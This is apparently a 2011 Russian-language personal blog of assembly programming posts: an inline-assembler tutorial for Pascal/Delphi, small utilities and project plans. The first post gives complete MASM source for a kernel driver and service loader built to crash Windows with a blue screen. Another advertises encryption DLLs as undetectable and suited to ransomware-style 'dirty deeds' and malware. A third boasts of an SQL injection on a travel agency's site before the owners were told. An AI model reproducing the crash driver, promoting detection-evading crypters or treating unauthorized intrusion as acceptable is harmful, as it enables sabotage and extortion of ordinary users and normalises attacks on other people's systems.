Общее·количество·просмотров·страницы

вторник, 28 июня 2011 г.

Простой Драйвер режима ядра.

Решил тут немного дрова подучить, поэтому думаю кому то пригодится.
Драйвер простенький и скорее нужен для микро-защиты,или просто поглумиться.
В общем драйвер работает в нулевом кольце защиты(проверял только на 32-битных ХРюшах-все работает).Смысл заключается в том что бы создать крах системы,поскольку в Ring3 программно этого не сделать.
Получается в ring0 на нуль делить нельзя,это я и воссоздал в драйвере,всего 3 ассемблерных инструкции.
Код самого драйвера(masm)

Код:;@echo off
;goto make  
.386 
.model flat, stdcall 
option casemap:none  
include \masm32\include\w2k\ntstatus.inc 
include \masm32\include\w2k\ntddk.inc  
include \masm32\include\w2k\hal.inc  
includelib \masm32\lib\w2k\hal.lib  
.code  
DriverEntry proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING  
xor eax,eax 
xor ebx,ebx 
div ebx  
DriverEntry endp  
end DriverEntry  
:make  
set drv=FORCE  
\masm32\bin\ml /nologo /c /coff %drv%.bat 
\masm32\bin\link /nologo /driver /base:0x10000 /align:32 /out:%drv%.sys /subsystem:native %drv%.obj  
del %drv%.obj  
echo. pause

Это как бы совмещение батника и асм,но с расширением bat.Для компиляции потребуется инклуды с ДДК.
И сама программа использующая драйвер

Код:  .386 
.model flat, stdcall 
option casemap:none  
include include\windows.inc  
include include\kernel32.inc
include include\user32.inc
include include\advapi32.inc  
includelib lib\kernel32.lib 
includelib lib\user32.lib 
includelib lib\advapi32.lib  
.data driver db 'FORCE.sys',0 
txt1 db 'BSOD',0 
txt2 db 'BSOD!UHAHA',0 
txt3 db 'Can not register driver',0
txt4 db 'Can not connect to Service Control Manager',0  
.code  
start proc local hSCManager:HANDLE local hService:HANDLE local acDriverPath[MAX_PATH]:CHAR  
invoke OpenSCManager, 0, 0, SC_MANAGER_CREATE_SERVICE  
.if eax != NULL  
mov hSCManager, eax  
push eax  
invoke GetFullPathName,addr driver, sizeof acDriverPath, addr acDriverPath, esp pop eax  
invoke CreateService, hSCManager, addr txt1, addr txt2, \ SERVICE_START + DELETE, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, \ SERVICE_ERROR_IGNORE, addr acDriverPath, 0, 0, 0, 0, 0  
.if eax != NULL  
mov hService, eax  
invoke StartService, hService, 0, 0  
invoke DeleteService, hService  
invoke CloseServiceHandle, hService  
.else  
invoke MessageBox, 0,addr txt3, 0, MB_ICONSTOP  
.endif  
invoke CloseServiceHandle, hSCManager  
.else invoke MessageBox, 0, addr txt4,0, MB_ICONSTOP  
.endif  
invoke ExitProcess, 0  
start endp 
end start

И так что же происходит.Алгоритм использования дрова такой:
1)Установить связь с менеджером управления сервисами и открыть его базу данных
2)Подгрузить дров
3)Создать объект службы и внести его в базу данных
4)Запустить службу(тут и будет бсод)
5)Удалить службу
6)Закрыть хэндл.

Что происходит внутри:Попадаем в нулевое кольцо защиты, делим на нуль (те 3 инструкции) вызываем бсод.
можно юзать как антиотладочное средство
Подробнее о точке входа в дров,и ДДК есть на wasm.ru
размер дрова- 576 байт
размер проги- 1586 байт
http://splashed.ucoz.ru/FORCE.rar

воскресенье, 19 июня 2011 г.

Dll crypt

Хочу представить Вам две dll-ки для крипта.
1)Длл которая содержит три простых и в тоже время часто используемых в легкой защите алгоритма- ROR, ROL, XOR.
Библиотека написана полностью на ассемблере.
Вес библиотеки: 2048 байт.

2)Библиотека с более сложным алгоритмом,некогда написанная гру3ином(CSCA1) (с)http://pblog.ru/

Модификации которые я внес не значительны (в коде):
1)Размер библиотеки уменьшен
2)Полностью переписана на макро ассемблер (С фасма)
3)Немного внес свою лепту в код
4)Не палится НИЧЕМ, так что псевдо-хацкеры снова могут юзать ее для своих грязных дел(вспомните ситуацию когда вирус шифровал файлы и вымогал $)
так что своего рода приват
Размер также составляет 2 кб.

Скачать dll-ки http://splashed.ucoz.ru/DLL.zip

Как юзать:
подгружаем длл используя LoadLibrary,получаем адрес функции GetProcAddress
вызываем фун-ю и выгружаем длл-ку .









на примере показано шифрование ROR .
для XOR перед eax перед вызовом функции добавляется параметр ключа шифрования.
то есть дописуем есчо так push 66d
где 66d ключ шифрования.
ключ не может быть больше 0FF/
пример использования второй либы есть в паблике(только вместо вызова csca1 вызывайте crypt).
Юзать можно для шифрования строк,доков...для создание мальварей, внутренней защиты строк (кракми и т.п.)и т.п.

воскресенье, 12 июня 2011 г.

Shutdown таймер

Давно нужна была программа которая сама выключала бы комп.И вот я ее написал.
Скачать тута http://splashed.ucoz.ru/Shutdown_Timer.zip
03.09.11 Исправлены мелкие баги и недочеты.

суббота, 11 июня 2011 г.

Планы на будущие разработки.

Пришла мне в голову дурная мысль создать свою ОС.
Это будет клон всем нам раньше известной DOS.
Потолковав с умными людьми,я собрал информацию о том что же по-минимуму будет называться ОС,что она должна уметь:
1)Конечно же загрузка,предполагается  создание двух загрузчиков- первичного и вторичного,хотя может быть и одного.
2)Исполнение пользовательских программ
3)Выводить символы (то есть работа с монитором)
4)Работа с файлами-создать,записать,удалить,показать директорию
5)Работа с клавиатурой
Вот это и есть необходимый минимум. Предполагается написание полностью на TASM.
Работать будет для начала под фс FAT 12 и com программами,а дальше уже посмотрим.
Только вот пока времени нету,сессия:)

SQL инъекция.

Видео о проведении мною SQL инъекции на сайте тур-агенства.Администрация была уведомлена,но уже после хака:)
Вот так вот:)

Статья:встроенный ассемблер


Введение
Здравствуйте! В этой статье я буду рассказывать вам о встроенном ассемблере в паскале и Delphi.У Вас на сей момент уже должны быть средние знания языков программирования высокого уровня.

Знаю что можно сказать что на дворе 21 век кому нужен ассемблер , да к тому же еще и встроенный.Но, хочу сказать что ни один более-менее серьезный проект не обойдется без ассемблерных вставок, тем более в Delphi всегда найдется что ускорить
,а может Вам когда нибудь эта статья поможет при решении какой либо задачи.

В статье также буду приводить примеры, куда ж без них)



                                                                   Зачем это нужно?
Зачем вам нужно использовать встроенный ассемблер? В некоторых случаях использование встроенного ассемблера даст ЗНАЧИТЕЛЬНЫЙ выигрыш в скорости, особенно при работе со строками, сравнении, работе с нестандартными устройствами ввода-вывода etc.Также он позволит выполнить те функции,которые на паскале или делфи выполнить просто невозможно.К примеру даже хиленькие игровые движки вроде id tech1 для doom были написаны на 40-50% с ассемблерными вставками,не говоря о современных движках.Или системные утилиты:сложно создать утилиту без использования ассемблера для получения физических данных компьютера или работе с его устройствами.Примеров можно привести много…

Ну-с начнем.
Для начала немного теории
.
ТЕОРИЯ
Встроенный ассемблер позволит вам непосредственно в программах на паскале или делфи записывать код ассемблера.
Операторы для ассемблерных вставок :

asm
… (ассемблерный код)
end;
(тоесть как begin-end)

Думаю большинство кто слышал про ассемблер, знают что программирование на ассемблере непосредственно связано с регистрами.
Регистр - это определенный участок памяти внутри самого процессора, от 8-ми до 32-х бит длиной, который используется для промежуточного хранения информации, обрабатываемой процессором. Некоторые регистры содержат только определенную информацию.

Регистрами общего назначения являются следующие регистры:
EAX, EBX, ECX, EDX. Во встроенном ассемблере их можно использовать как глобальные переменные.
EAX, EBX, ECX, EDX делятся на AX, BX, CX, DX, и деляется еще на AH , AL, BH,BL,CH,CL,DH,DL.
Так 32-битные регистры (EAX,EBX,ECX,EDX)- по размеру составляют 4 байта или DWORD- двойное слово. Соответственно ax ,bx, cx ,dx-16 битные и составляют 2 байта или слово (word)
Так, AH , AL, BH,BL,CH,CL,DH,DL по одному байту.Буква L и H означают младший или старший регистр.
Эти регистры используются для операций с данными, такими, как сравнение, математические операции или запись данных в память.
Регистр СХ чаще всего используется как счетчик в циклах.

Существуют также и другие регистры, а именно:
Регистры сегментов
Регистры оффсета
Регистры управления
Регистры дебаггера
Контрольные регистры
Но это нам особо не потребуется.

Встроенный ассемблер поддерживает три дирек-
тивы ассемблера: DB (определить байт), DW (определить слово) и DD
(определить двойное слово). Каждая из них генерирует данные, со-
ответствующие разделенным запятым операндам, которые следуют за
директивой.
Приведем некоторые примеры директив DB, DW и DD:

asm
DB 00FH { 1 байт }
DB 0,99 { 2 байта }
DB 'A' { Ord('A) }
DB 'Пример',0DH,OAH { строка, за которой
следуют возврат каретки и перевод строки }


В Турбо Ассемблере, когда перед идентификатором указывается
DB, DW или DD, это приводит к генерации в том месте, где указана
директива, переменной размером в байт, слово или двойное слово.

Команды:
Приведу команды которые чаще используются во встроенном ассемблере:

mov-Переслать значение.
push-Положить(сохранить) в стек
pop-Извлечь из стека
xchg-Обменять значения
add-Сложить
inc-Увеличить на единицу
sub-Вычесть
dec-Уменьшить на единицу
mul-Умножить
imul-Умножить со знаком
div-Поделить
idiv-Поделить со знаком
cmp-сравнить

Прыжки:

Прыжки используются вместе с командами сравнения
прыжки бывают условные и безусловные:

безусловный прыжок:
jmp -метка

метки в паскале должны начинаться с символа @ и заканчиваться :
Условные прыжки (+пояснение):


JA Jump if above (X > Y)
JAE Jump if above or equal (X >= Y)
JB Jump if below (X < Y)
JBE Jump if below or equal (X < Y)
JC Jump if carry (cf=1) CF=1
JCXZ Jump if CX=0 регистр CX=0
JE (то же, что и JZ) Jump if equal (X = Y)
JG Jump if greater (signed) (X > Y)
JGE Jump if greater or equal (signed) (X >= Y)
JL Jump if less (signed) (X < Y)
JLE Jump if less or equal (signed) (X <= Y)
JNA Jump if not above (X <= Y)
JNAE Jump if not above or equal (X < Y)
JNB Jump if not below (X >= Y)
JNBE Jump if not below or equal (X > Y)
JNC Jump if not carry (cf=0)
JNE Jump if not equal (X != Y)
JNG Jump if not greater (signed) (X <= Y)
JNGE Jump if not greater or equal (signed) (X < Y) SF!=OF
JNL Jump if not less (signed) (X >= Y)
JNLE Jump if not less or equal (signed) (X > Y)
JNO Jump if not overflow (signed) (of=0) OF=0
JNP Jump if no parity (pf=0) PF=0
JNS Jump if not signed (signed) (sf=0) SF=0
JNZ Jump if not zero (X != Y)
JO Jump if overflow (signed) (of=1) OF=1
JP Jump if parity (pf=1) PF=1
JPE Jump if parity even ( PF=1
JPO Jump if parity odd PF=0
JS Jump if signed (signed) SF=1
JZ Jump if zero (X = Y)

Инструкции условных прыжков используют один или несколько флагов состояния для проверки условия.

Итак теория закончена можно приступить к практической части.

Первое и несложное что можно написать: модуль для простейших арифметических операций: +-*/ с целыми числами



  unit unit2; 
interface

function Sum(A,B:integer):integer; {экспортируемые функции}
function Sub(a,b:integer):integer;
function Mul(a,b:integer):integer;
function dev(a,b:integer):integer;

implementation

function Sum(A,B:integer):integer; {функция сложения}
begin
asm
mov eax,a ; {в eax-a}
add b,eax {прибавляем b+a}
end;
writeln('summa chisel=',b); {выводим сумму}
end;

function Sub(a,b:integer):integer;
begin
asm
mov eax,b {в eax-b}
sub a,eax {вычитаем из а-eax}
end;
writeln('raznost chisel=',a); {выводим разность}
end;

function Mul(a,b:integer):integer;
begin
asm
mov eax,a {в eax-a}
mov ecx,b {в ecx-b}
mul ecx {умножаем a на b результат в eax}
mov a,eax {результат в а}
end;
writeln('proizvedennie chisel=',a); {выводим произведение}
end;

function dev(a,b:integer):integer;
begin
asm
xor edx,edx {остаток в edx}
mov eax, a {в eax-a}
mov ecx, b {в ecx-b}
div ecx {a/b, результат в eax}
mov a,eax
end;
writeln('chastnoe chisel=',a); {выводим частное}
end;
end.

вот и все,довольно простой модуль с использованием встроенного ассемблера.
использование модуля( Delphi)
program Project2; {$APPTYPE CONSOLE} 
uses unit2;
var a,b:integer;begin
writeln('vvedite a i b');readln(a);
readln(b);mul(a,b); 
readln;
end.


Вот уже Ваш первый модуль на встроенном асме.

mov, xchg нельзя использовать для пересылки из памяти в память:
то есть нельзя делать так:
mov a,b

Правильно так:
mov eax,a
mov b,eax

Что касается программирования под винду.В Delphi
так же можно вызывать api функции используя ассемблерные вставки.Приведу пример из жизни:
Update module из моей assembler editor работает через idhttp и использует progressbar чтобы показать скорость закачки. При запуске закачки приложение подвисает,а без использования application.proceemessages вообще замерзает.Но вдруг вы резко передумали и хотите выйти написав код для кнопки выохда так:

procedure TForm1.Button2Click(Sender: TObject); 
begin 
exit; 
end;

то знайте что ничего не произойдет.

но вот простейший вызов ускорит все в десятки раз
:
procedure TForm1.Button2Click(Sender: TObject);
 begin 
asm
push 0 
call exitprocess 
end; 
end;


Да во встроенном дельфийском асме используется синтаксис турбо ассемблера,то есть для вызова функции,параметры кладутся в стек как бы вверх дном, а затем следует сам вызов функции.Ето одни пример замены тормознутой дельфийской функции,а заменять приходится довольно часто,если программа имеет большой функционал.


Теперь рассмотрим простые операции на паскале
К примеру инкремент переменной:
код на паскале
 uses crt; 
var a,b:integer;
 begin 
a:=0; 
b:=999; 
begin
 repeat inc(a); 
until a=b; 
end; 
writeln('a=',a); 
readln; 
end;


со вставками:
uses crt; 
var a,b:integer;
begin 
a:=0; 
b:=999; 
asm {оператор} 
@one: {метка для цикла} 
inc a {a:=a+1} 
mov ax,b {b в ax} 
cmp a,ax {если a=b} 
je @end {прыжок} 
loop @one {цикл пока a не станет = b} 
@end: 
xor ax,ax 
end; 
writeln(a);
 readln; 
end.


Рассмотрим к примеру организацию цикла for to do

mov eax, 2 {for ax:=2 to 9 do}
@For:

inc ax
cmp ax, 9
jg @For

то-бишь циклы организуются легко.

Теперь пример программы на использование push/pop xchg
uses crt; 
var a,b:integer;
 begin 
a:=10;
 b:=20; 
 writeln(a, b);
 readln; 
asm 
mov ax,a {в ax-a}
 push ax{сохраняем ax в стеке} 
mov bx,b 
mov ax,bx {ax:=bx,ax=20} 
pop ax {ax=10} 
xchg ax,bx {ax=20} 
mov a,ax end; 
writeln(a);
 readln; 
 end.


Побалуемся и с графикой немного,
вывод линии используя асм вставки с прерываниями биоса

 uses crt; 
var a,b:integer;
 begin
 asm 
mov ah,0h {устанавливаем графический режим}
 mov al,10h
 int 10h 
mov cx,400 
@line: {вывод линии} 
push cx
 mov ah,0ch {выводим точку} 
mov al,2 {зеленую} 
mov bh,0 
mov dx,100 {коор.}
 int 10h{прерывание биоса} 
 pop cx 
loop @line {loop-им вывод в единую линию} 
end; 
readkey;
 end.

работа с графикой,аппаратурой,циклами и
сравнениями-несомненно лучше во встроенном асме.

Когда то давно писал рахитский движок раза в 3 хуже вульфейнштейновского,был у меня там модуль с записью в порты клавиатуры,к сожалению утерял.



ЗАКЛЮЧЕНИЕ
Многие программисты сегодня ассоциируют ассемблер как сложный, низкоуровневый язык программирования. Они считают его быстрым, но большинство их них думает, что его сложно или невозможно изучить. В действительности, положение не настолько сложно. Вполне возможно научиться писать хороший код, не будучи гением.
Большинство программистов считают, что собственный ассемблерный код по определению быстрее, чем скомпилированный компилятором Паскаля. Конечно, так не всегда. Плохо написанные процедуры на Ассемблере могут оказаться по качеству хуже и могут вызвать странные ошибки и проблемы в ваших приложениях.
В тот момент, когда вы придете к выводу, что ассемблер это нужный вам путь, вы не должны хвататься за него, как за соломинку. Проверьте внимательно свою программу на предмет определения слабых мест. Профилировщик может немного в этом помочь, но лучше обратите особое внимание на структуру и алгоритм. Часто, вы сможете получить лучшие результаты, за счет оптимизации алгоритмов, скорее, чем с помощью ассемблера. С другой стороны, в некоторых особых случаях, таких как манипуляции с битами, ассемблер даст лучший и более простой результат.
Если вы решите, что ассемблер действительно нужен, то потратьте немного времени на планирование вашего кода и алгоритмов. Только после того, как вы будете четко представлять, что вы хотите сделать и как, вы можете приступать к реализации вашей идеи. Если вы не будете об этом думать, то получите кашу из кода, закрученные операторы и трудно управляемую программу.(с) http://www.programmersclub.ru/
Спасибо за внимание. Я особо не имею журналистских наклонностей, так что не пинайте ежели что.

Простенький калькулятор.

Простейший калькулятор в 4 действия.Считает только целочисленные значения.

язык: ассемблер
вес: 3072 байт
вписать 1-й операнд
вписать 2-й операнд
нажать на нужное действие-получить ответ в MessageBox
сырцы прилагаются,думаю кому-то будет полезно
скачать

UPX GUI

Завершил свой gui для компрессора exe/dll файлов UPX.
Ссылка-скачать.В архиве  прилагаются исходники, gui написан на masm'e,имеет размер 6656 байт
в чистом виде и 2853 байт после FSG.

Assembler editor

Мини среда программирования для ассемблера,конкретно для синтаксисa TASM и MASM.
Программа постоянно совершенствуется,так что обновления теперь будут выкладываться здесь.
Скачать можно здесь http://forum.antichat.ru/thread261755-assembler+editor.html
Тема на античате http://forum.antichat.ru/thread261755-assembler+editor.html
Полное описание можно прочесть там.
http://splashed.ucoz.ru/Setup.zip
апдейт!2.09
16.10.11

Блог создан!

Создал свой личный блог.На нем я буду выражать свои мысли на счет программирования, выкладывать свои программы и т.п.